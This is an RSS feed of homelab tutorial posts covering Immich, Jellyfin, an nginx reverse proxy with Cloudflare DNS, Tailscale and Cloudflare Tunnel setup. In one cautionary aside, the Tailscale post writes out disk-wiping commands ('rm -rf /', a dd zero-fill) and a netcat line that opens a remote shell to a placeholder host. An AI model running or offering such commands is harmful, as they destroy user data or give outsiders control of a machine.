      <span class="hljs-attr">POSTGRES_PASSWORD:</span> <span class="hljs-string">${DB_PASSWORD}</span>
      <span class="hljs-attr">POSTGRES_USER:</span> <span class="hljs-string">${DB_USERNAME}</span>
      <span class="hljs-attr">POSTGRES_DB:</span> <span class="hljs-string">${DB_DATABASE_NAME}</span>
      <span class="hljs-attr">POSTGRES_INITDB_ARGS:</span> <span class="hljs-string">'--data-checksums'</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">${DB_DATA_LOCATION}:/var/lib/postgresql/data</span>
    <span class="hljs-attr">healthcheck:</span>
      <span class="hljs-attr">test:</span> <span class="hljs-string">pg_isready</span> <span class="hljs-string">--dbname='${DB_DATABASE_NAME}'</span> <span class="hljs-string">||</span> <span class="hljs-string">exit</span> <span class="hljs-number">1</span><span class="hljs-string">;</span> <span class="hljs-string">Chksum="$$(psql</span> <span class="hljs-string">--dbname='${DB_DATABASE_NAME}'</span> <span class="hljs-string">--username='${DB_USERNAME}'</span> <span class="hljs-string">--tuples-only</span> <span class="hljs-string">--no-align</span> <span class="hljs-string">--command='SELECT</span> <span class="hljs-string">COALESCE(SUM(checksum_failures),</span> <span class="hljs-number">0</span><span class="hljs-string">)</span> <span class="hljs-string">FROM</span> <span class="hljs-string">pg_stat_database')";</span> <span class="hljs-string">echo</span> <span class="hljs-string">"checksum failure count is $$Chksum"</span><span class="hljs-string">;</span> [ <span class="hljs-string">"$$Chksum"</span> <span class="hljs-string">=</span> <span class="hljs-string">'0'</span> ] <span class="hljs-string">||</span> <span class="hljs-string">exit</span> <span class="hljs-number">1</span>
      <span class="hljs-attr">interval:</span> <span class="hljs-string">5m</span>
      <span class="hljs-attr">start_interval:</span> <span class="hljs-string">30s</span>
      <span class="hljs-attr">start_period:</span> <span class="hljs-string">5m</span>
    <span class="hljs-attr">command:</span> [<span class="hljs-string">"postgres"</span>, <span class="hljs-string">"-c"</span> ,<span class="hljs-string">"shared_preload_libraries=vectors.so"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">'search_path="$$user", public, vectors'</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"logging_collector=on"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"max_wal_size=2GB"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"shared_buffers=512MB"</span>, <span class="hljs-string">"-c"</span>, <span class="hljs-string">"wal_compression=on"</span>]
    <span class="hljs-attr">restart:</span> <span class="hljs-string">always</span>

<span class="hljs-attr">volumes:</span>
  <span class="hljs-attr">model-cache:</span>

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">default:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">homelab_network</span>
    <span class="hljs-attr">external:</span> <span class="hljs-literal">True</span>
</code></pre>
<p>For immich to run, we need to create a .env file to set the following variables</p>
<pre><code class="lang-bash"><span class="hljs-comment"># You can find documentation for all the supported env variables at https://immich.app/docs/install/environment-variables</span>

<span class="hljs-comment"># The location where your uploaded files are stored</span>
UPLOAD_LOCATION=<span class="hljs-string">"/mnt/petrificus totalus/immich/library"</span>
<span class="hljs-comment"># The Immich version to use. You can pin this to a specific version like "v1.71.0"</span>
IMMICH_VERSION=release

<span class="hljs-comment"># Connection secret for postgres. You should change it to a random password</span>
DB_PASSWORD=

<span class="hljs-comment"># The values below this line do not need to be changed</span>
<span class="hljs-comment">###################################################################################</span>
DB_HOSTNAME=immich_postgres
DB_USERNAME=postgres
DB_DATABASE_NAME=immich
DB_DATA_LOCATION=./postgres

REDIS_HOSTNAME=immich_redis
</code></pre>
<p>After starting the containers with docker-compose up, we can easily access the immich service by going to localhost:2283</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720366127595/6559d087-e315-4f16-a28d-8294e3e26882.png" alt class="image--center mx-auto" /></p>
<p>After creating an administrator account, you can download the Immich mobile app. The app will ask you to enter your server location. If the server is accessible, you will be asked to log in. After authentication, you will have a Google Photos-like experience with your own storage, without Google pushing you to buy their <code>#cheap</code> storage plans.</p>
<p>I won't go into how to use Immich because it's similar to Google Photos, and the Immich documentation is quite user-friendly.</p>
<p>Now we need to add a proxy to access Immich using a domain name. To do this, follow the steps in the previous article. Create a subdomain of your choice, for example, immich.example.com.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720366500438/5c69b09f-879b-4f9e-b7a3-12754c9dd115.png" alt class="image--center mx-auto" /></p>
<p>The proxy configuration will look like this. We use "immich-server" as the hostname because both Nginx and Immich are on the same network. With Docker, the container's hostname will be the service name defined in the docker-compose file.</p>
<p>This allows Nginx to easily send requests to immich-server:3001 when the request comes from immich.donthavemoney.com.</p>
<h3 id="heading-jellyfin">Jellyfin</h3>
<p>Jellyfin is a media hosting service that continues to impress me with its capabilities. Let's get straight to setting it up.</p>
<p>The docker-compose file needed to set up Jellyfin is straightforward, so we will add its services directly into the nginx compose file.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'2.2'</span> 
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">nginxproxymanager:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">'jc21/nginx-proxy-manager:latest'</span> 
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">nginxproxymanager</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span> 
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'80:80'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'81:81'</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'443:443'</span> 
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/data:/data</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/letsencrypt:/etc/letsencrypt</span> 


  <span class="hljs-attr">jellyfin:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">lscr.io/linuxserver/jellyfin:latest</span>
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">jellyfin</span> 
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-number">8096</span><span class="hljs-string">:8096</span>
      <span class="hljs-bullet">-</span> <span class="hljs-number">8920</span><span class="hljs-string">:8920</span>
    <span class="hljs-attr">environment:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">PUID=1000</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">PGID=1000</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">TZ=Europe/Berlin</span> 
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./jellyfin/config:/config</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./jellyfin/tvshows:/data/tvshows</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"/path/to/your/Anime:/data/anime"</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"/path/to/your/movies:/data/movies"</span> 
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span>

<span class="hljs-attr">networks:</span>
  <span class="hljs-attr">default:</span>
    <span class="hljs-attr">name:</span> <span class="hljs-string">homelab_network</span>
    <span class="hljs-attr">external:</span> <span class="hljs-literal">True</span>
</code></pre>
<p>So, all you need to do is add the Jellyfin service to the existing Nginx service. Another important task is creating a bind map of your local media directories to the /data directory of the container. Since Jellyfin is inside the same Docker Compose file, we can create reverse proxies similarly.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720366913200/dc082af1-2335-4859-9ba7-6290e937d3ce.png" alt class="image--center mx-auto" /></p>
<p>This is what Jellyfin looks like. Some of the features I absolutely love about Jellyfin are:</p>
<ul>
<li><p>Sync play. You can add guest users and sync play between multiple devices and users</p>
</li>
<li><p>All the watched media and last viewed times are saved.</p>
</li>
<li><p>We can control user access and multiple users can consume the same library</p>
</li>
<li><p>So basically my movie and anime collection can be shared and used as my own personal Netflix</p>
</li>
<li><p>A smooth mobile app</p>
</li>
</ul>
<p>This concludes my blog series on creating your own home lab. While it may sound fancy and complicated, a home lab is indeed fancy, but not that complicated. I loved doing all this when I first got into it. I even got my first domain name specifically for this purpose.</p>
<p>From here onwards, it's all about exploring other open-source tools and experimenting using your own computer. For example, you can start by setting up your own GitLab, setting up Pi-hole for network-wide ad blocking., Home automation with Home Assistant or Home bridge and many more. You can even go as far as setting up everything using Kubernetes, which I don't know anything about.</p>
<p>In conclusion, setting up a basic home lab helps you build a solid foundation on Linux, computer networking and some amount of DevOps.</p>
]]></content:encoded></item><item><title><![CDATA[Setting up DNS records and reverse proxy with nginx]]></title><description><![CDATA[In this blog, we will look into setting up reverse proxy with nginx and creating DNS entries to point at the reverse proxy.
Reverse proxy.
A reverse proxy is a server that sits in front of web servers and forwards client requests (e.g., from web brow...]]></description><link>https://blog.buddhag.com.np/dns-reverse-proxy</link><guid isPermaLink="true">https://blog.buddhag.com.np/dns-reverse-proxy</guid><category><![CDATA[nginx]]></category><category><![CDATA[Reverse Proxy]]></category><category><![CDATA[tailscale]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sun, 07 Jul 2024 14:36:51 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720368130564/6db41e6e-10dd-417d-9dd4-51eacef8657c.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>In this blog, we will look into setting up reverse proxy with nginx and creating DNS entries to point at the reverse proxy.</p>
<h3 id="heading-reverse-proxy">Reverse proxy.</h3>
<p>A reverse proxy is a server that sits in front of web servers and forwards client requests (e.g., from web browsers) to those web servers. With the help of Cloudflare, we will add DNS entries to point to this reverse proxy, which will then forward requests to different services based on the domain the request came from. Don't worry, I will go step by step so that everyone can easily set it up. We will be using GUI based solutions so that it will be easier to understand.</p>
<p>Let's first setup nginx. We will be using docker to install nginx and <strong>Nginx Proxy Manager</strong>. The Proxy Manager basically provides a GUI to add and remove reverse proxies easily without delving into different configurations.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'2.2'</span> 
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">nginxproxymanager:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">'jc21/nginx-proxy-manager:latest'</span> 
    <span class="hljs-attr">container_name:</span> <span class="hljs-string">nginxproxymanager</span>
    <span class="hljs-attr">restart:</span> <span class="hljs-string">unless-stopped</span> 
      <span class="hljs-bullet">-</span> <span class="hljs-string">'80:80'</span> <span class="hljs-comment"># Public HTTP Port</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'443:443'</span> <span class="hljs-comment"># Public HTTPS Port</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">'81:81'</span> <span class="hljs-comment"># Admin Web Port</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/data:/data</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">./nginx/letsencrypt:/etc/letsencrypt</span>
</code></pre>
<p>Copy this into a new docker-compose.yml file. Now run the following command</p>
<pre><code class="lang-bash">docker compose up -d
</code></pre>
<p>By running the above command, you will start the necessary containers in daemon mode. I'm assuming you have basic understanding of what are docker containers. If not, I am planning to create a different blog on docker series. Please subscribe to my newsletter to get updated.</p>
<p>Now you can access the proxy manager by going to localhost:81</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720351605906/444813bd-d605-425b-8394-0c87e06a9978.png" alt class="image--center mx-auto" /></p>
<p>The default username is <strong>admin@example.com</strong> and the password is <strong>changeme.</strong></p>
<p>Now you are all set to add reverse proxies. Next, we will set up a very basic HTML and CSS live server to reverse proxy to. But first, we need to set up our DNS records. Let's log in to Cloudflare.</p>
<h3 id="heading-dns">DNS</h3>
<p>DNS stands for Domain Name System. It maps a domain name to an IP address. In our case, we need to map our domain to our IP address. As mentioned earlier, we have two ways to make our local system accessible online: through a VPN or a Cloudflare tunnel. We already published a port through the Cloudflare tunnel using the public hostname, allowing us to access Nginx running on port 80. I don't recommend doing that if you aren't a professional. Exposing your local services directly is always a bad idea for beginners. So from here we will be discussing all the things based on VPN.</p>
<p>Now we need to map the Tailscale IP address to our domain records. This way, when we type our domain in the browser, we can access the reverse proxy setup on port 80.</p>
<p>To do this, let's open our Tailscale dashboard.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720352229382/aa5bf125-9848-4441-9d7d-de046d753045.png" alt class="image--center mx-auto" /></p>
<p>We can see the IP address and <a target="_blank" href="https://tailscale.com/kb/1081/magicdns">magic DNS</a> provided by tailscale for each of the devices connected via tailscale. These IP addresses aren't routed by the router and can only be accessed by people in the same network. Now we will map the these DNS entries in Cloudflare.</p>
<p>Go to your Cloudflare console and select website in the sidebar.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720360752693/d2050c2f-3dcf-4b74-957f-cdd8bfe10e33.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720360443727/b8b24a26-6237-4423-89d7-3249d9a49719.png" alt class="image--center mx-auto" /></p>
<p>Select the domain you want to use.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720360758092/75fbeaad-2a57-4c48-94a2-72692bf0558d.png" alt class="image--center mx-auto" /></p>
<p>Now copy the tailscale IPv6 address and create a DNS entry. Now, we can access the nginx reverse proxy from idonthavemoney.tech.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720361053957/1555bfdc-80f4-42c7-a244-f832cc39c46a.png" alt class="image--center mx-auto" /></p>
<p>Now that the DNS entry is added, we can access our internal services through VPN using a domain name. Let's add more services and create multiple reverse proxies so we can serve various services via Nginx.</p>
<p>For that, let's serve a basic HTML CSS page through live server</p>
<pre><code class="lang-bash">└❯ tree                                   
.
├── assets
│   ├── cry.svg
│   └── squirrel.svg
├── CNAME
├── docker-compose.yml
├── index.html
└── styles.css

2 directories, 6 files
</code></pre>
<p>I have a basic index.html that I want to serve through live-server.</p>
<pre><code class="lang-yaml"><span class="hljs-attr">version:</span> <span class="hljs-string">'2.2'</span>
<span class="hljs-attr">services:</span>
  <span class="hljs-attr">web-app:</span>
    <span class="hljs-attr">image:</span> <span class="hljs-string">duaneleem/live-server:1.0</span>
    <span class="hljs-attr">ports:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"8080:8080"</span>
    <span class="hljs-attr">volumes:</span>
      <span class="hljs-bullet">-</span> <span class="hljs-string">"./:/usr/src/app"</span>
</code></pre>
<p>I have this basic docker compose that exposes the 8080 port of the container to 8080 port of my localhost.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720361564659/f0348e49-5a92-49a8-8243-ff6df543a258.png" alt class="image--center mx-auto" /></p>
<p>This is running on my localhost. I need to make it accessible on the internet via my domain. To do this, we need to add a reverse proxy to this service running on my localhost. Let's go back to the proxy manager. After logging in, we will be directed to this page.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720361735874/9a54898c-b8be-4141-bd7e-9242f7ddfc97.png" alt class="image--center mx-auto" /></p>
<p>Now click on the Proxy Hosts and add a new proxy.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720362096547/785a756b-0dd1-47f7-9338-1b4375e1300f.png" alt class="image--center mx-auto" /></p>
<p>Hit save, and now you can access the portfolio site via <strong>idonthavemoney.tech.</strong></p>
<p>We have mapped our internal IP address instead of localhost because Nginx is running inside a Docker container. For the container, <code>localhost</code> is its own loopback address, and the host machine's IP is like another device on the network. We can add the static website and Nginx to the same network by including them in the same docker-compose. We will explore this in the upcoming blogs of this series.</p>
<p>Let's add another service using a subdomain. Let's map the proxy manager to <strong>nginx.idonthavemoney.tech</strong>.</p>
<p>To do this, we will add the DNS record similarly as above but for the subdomain nginx. We will keep the IP address the same. I will let you figure it out.</p>
<p>Let's add another proxy in our proxy manager for the nginx domain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720362509805/22473cb9-3556-45a4-9d9d-208614b181e0.png" alt class="image--center mx-auto" /></p>
<p>Notice that we have used localhost:81 instead of the IP in this case. It's because nginx and the proxy manager are running inside the same network.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720362497391/6c44de32-9957-4c3e-8421-ad120901a48a.png" alt class="image--center mx-auto" /></p>
<p>Woo-hoo! We have successfully added reverse proxies, allowing us to access multiple services through the internet by creating our own <strong>Virtual Private Network.</strong></p>
<p>Stay tuned for other blogs where I cover installing other home lab services, such as different file servers like <strong>Google Drive</strong>, a media server like <strong>Netflix</strong> for your movies, and an image server like <strong>Google Photos</strong>.</p>
]]></content:encoded></item><item><title><![CDATA[Using Tailscale VPN to access your local services through the internet]]></title><description><![CDATA[A VPN is a powerful tool. Many of us have used it to access region-restricted content by connecting to a VPN in a different region. However, the use of a VPN goes beyond that. You can set up your own VPN to access your device over the internet withou...]]></description><link>https://blog.buddhag.com.np/tailscale-vpn</link><guid isPermaLink="true">https://blog.buddhag.com.np/tailscale-vpn</guid><category><![CDATA[vpn]]></category><category><![CDATA[Homelab]]></category><category><![CDATA[homeserver]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sun, 07 Jul 2024 04:16:36 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720363571786/8d858a33-8a1a-4753-97ef-f11b91aa44f4.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>A VPN is a powerful tool. Many of us have used it to access region-restricted content by connecting to a VPN in a different region. However, the use of a VPN goes beyond that. You can set up your own VPN to access your device over the internet without exposing your network.</p>
<p>Okay, that was confusing. We can understand it better by directly creating a VPN. How it works will become very clear once we start using it. We will be using Tailscale for this purpose</p>
<h2 id="heading-tailscale">Tailscale</h2>
<p>Tailscale is a VPN service provider used by many big companies. It has free as well as paid tiers. For our home lab, a free tier is more than enough. To start with Tailscale we will follow the following steps:</p>
<ul>
<li><p>Set up a tail scale account. (duhh)</p>
</li>
<li><p>You can sign up using google or other OAuth providers or create a new account</p>
</li>
</ul>
<p>After you log in, you will see a screen like this</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720324182084/36a18600-cd57-44c2-8008-a6da97f29d3c.png" alt class="image--center mx-auto" /></p>
<p>Copy and paste the curl command into your shell. The curl part pulls the installation script and pipes it directly into a shell. If you ever see something like that, I recommend you to check the scripts thoroughly. This gives random scripts on the internet power to run directly into your computer. Imagine if the script was</p>
<pre><code class="lang-bash"><span class="hljs-comment"># this will wipe away the root direcotry and delete all your system</span>
rm -rf / 
or 
<span class="hljs-comment"># this will rewrite your disk with all zero. A hard wipe of everything</span>
dd <span class="hljs-keyword">if</span>=/dev/zero of=/dev/sda
or 
<span class="hljs-comment"># this will connect to the remote and execute whatever is run remotely</span>
<span class="hljs-comment"># directly in your local machine</span>
netcat -l asdf.asdf.com -e /bin/zsh &amp;
</code></pre>
<p>Okay, I got off track. I think you understand what I mean. Such one-liners can cause disasters; imagine what full-blown scripts can do. But here, since we are following instructions from a trusted provider, it is safe to run that command. Now, I forgot where I was.</p>
<p>So, after you run that command successfully, you need to start the Tailscale daemon. You can do that by</p>
<pre><code class="lang-bash">sudo tailscale login
</code></pre>
<p>This will ask you to log in by following a URL. Once you log in to Tailscale, you will be prompted to connect. After the connection is established, you will see something like this:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720325142941/7b846387-9838-4550-bc85-28779f4f3afc.png" alt class="image--center mx-auto" /></p>
<p>You can see that a new device is connected. Next to the device hostname, you will see an IP address. That's the private IP address of your computer. Any devices connected to your Tailscale account will be assigned a private IP. Using these private IPs, devices can communicate with each other as if they are on the same local network.</p>
<p>Let's connect another device to this network. We will use our smartphone to do that. There is a Tailscale app you can download. You need to log in using the same credentials and press connect. This will add your phone to the VPN.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720325455948/3c788ea9-5bef-42c0-b3b2-5293d5ecab8a.png" alt class="image--center mx-auto" /></p>
<p>Now your phone and your PC can easily communicate with each other securely and privately. This means any services we have running in the local system of a PC can be accessed via our phone.</p>
<p>This completes the prerequisites of setting up your home lab. In the next blogs we will be setting up different home lab services, a reverse proxy and add DNS entries such that the home services can easily be access via different subdomains and domains</p>
]]></content:encoded></item><item><title><![CDATA[Publishing your internal ports to the Internet with Cloudflare Tunnel]]></title><description><![CDATA[Setting up a home server means exposing your private services to the internet. In the past, the most popular way by port-forwarding through the router, which is quite risky. Nowadays, most ISPs block access to router settings and don't allow port-for...]]></description><link>https://blog.buddhag.com.np/cloudflare-tunnel</link><guid isPermaLink="true">https://blog.buddhag.com.np/cloudflare-tunnel</guid><category><![CDATA[General Programming]]></category><category><![CDATA[networking]]></category><category><![CDATA[Homelab]]></category><dc:creator><![CDATA[buddha gautam]]></dc:creator><pubDate>Sat, 06 Jul 2024 15:41:49 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720363621657/76639e5b-1a3d-4d86-8c4d-889a4973e9eb.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Setting up a home server means exposing your private services to the internet. In the past, the most popular way by port-forwarding through the router, which is quite risky. Nowadays, most ISPs block access to router settings and don't allow port-forwarding.</p>
<p>An alternative is to tunnel your local port through service providers that expose your service to the internet. These tunnel providers add the necessary security, making it safer than port-forwarding. However, while slightly more secure, this is not a very secure option overall. If security is important to you, consider using a VPN instead.</p>
<h2 id="heading-cloudflare-tunnels">Cloudflare Tunnels</h2>
<p>To use Cloudflare Tunnels, there are some prerequisites:</p>
<ul>
<li><p>Cloudflare account</p>
</li>
<li><p>A domain</p>
</li>
</ul>
<p>You have to add your domain to the Cloudflare account first. Follow these steps to add the tunnel:</p>
<ul>
<li><p>Go to Zero Trust in the sidebar - You will be navigated to <a target="_blank" href="https://one.dash.cloudflare.com">one.dash.cloudflare</a></p>
</li>
<li><p>Go to Networks</p>
</li>
<li><p>Go to Tunnel</p>
</li>
<li><p>Add Tunnel</p>
</li>
</ul>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720278851319/41fcae78-00bf-49a6-9ccd-782cc64d0ef8.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720278898955/431a7d11-4d5b-43e9-ad42-46cbf97679e4.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720279008601/17191cab-7224-4484-8cdc-4f3582903bd7.png" alt class="image--center mx-auto" /></p>
<p>Now run the below command in your terminal. <em>Disclaimer: Doing this will spawn a daemon with root permission, which can stay as a middleman between you and the internet. So do this if you trust Cloudflare.</em> Again, I advertise using private VPN over this method.</p>
<p>After the command runs successfully, basic setup for the tunnel is completed. Now we define which port to tunnel and to what domain.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720279380132/3719952c-a637-4529-99c5-e58ecee136cc.png" alt class="image--center mx-auto" /></p>
<p>After saving the settings. We will be able to access the port 80 of our local machine via <code>testy.buddhag.com.np</code>. This is the entry point to HTTP request in my machine, which is running nginx in that port.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1720279497510/56af4f1d-8adb-45b8-8781-2c7a4221ce99.png" alt class="image--center mx-auto" /></p>
<p>Congratulations, you have successfully tunneled your local port to the internet.</p>
]]></content:encoded></item></channel></rss>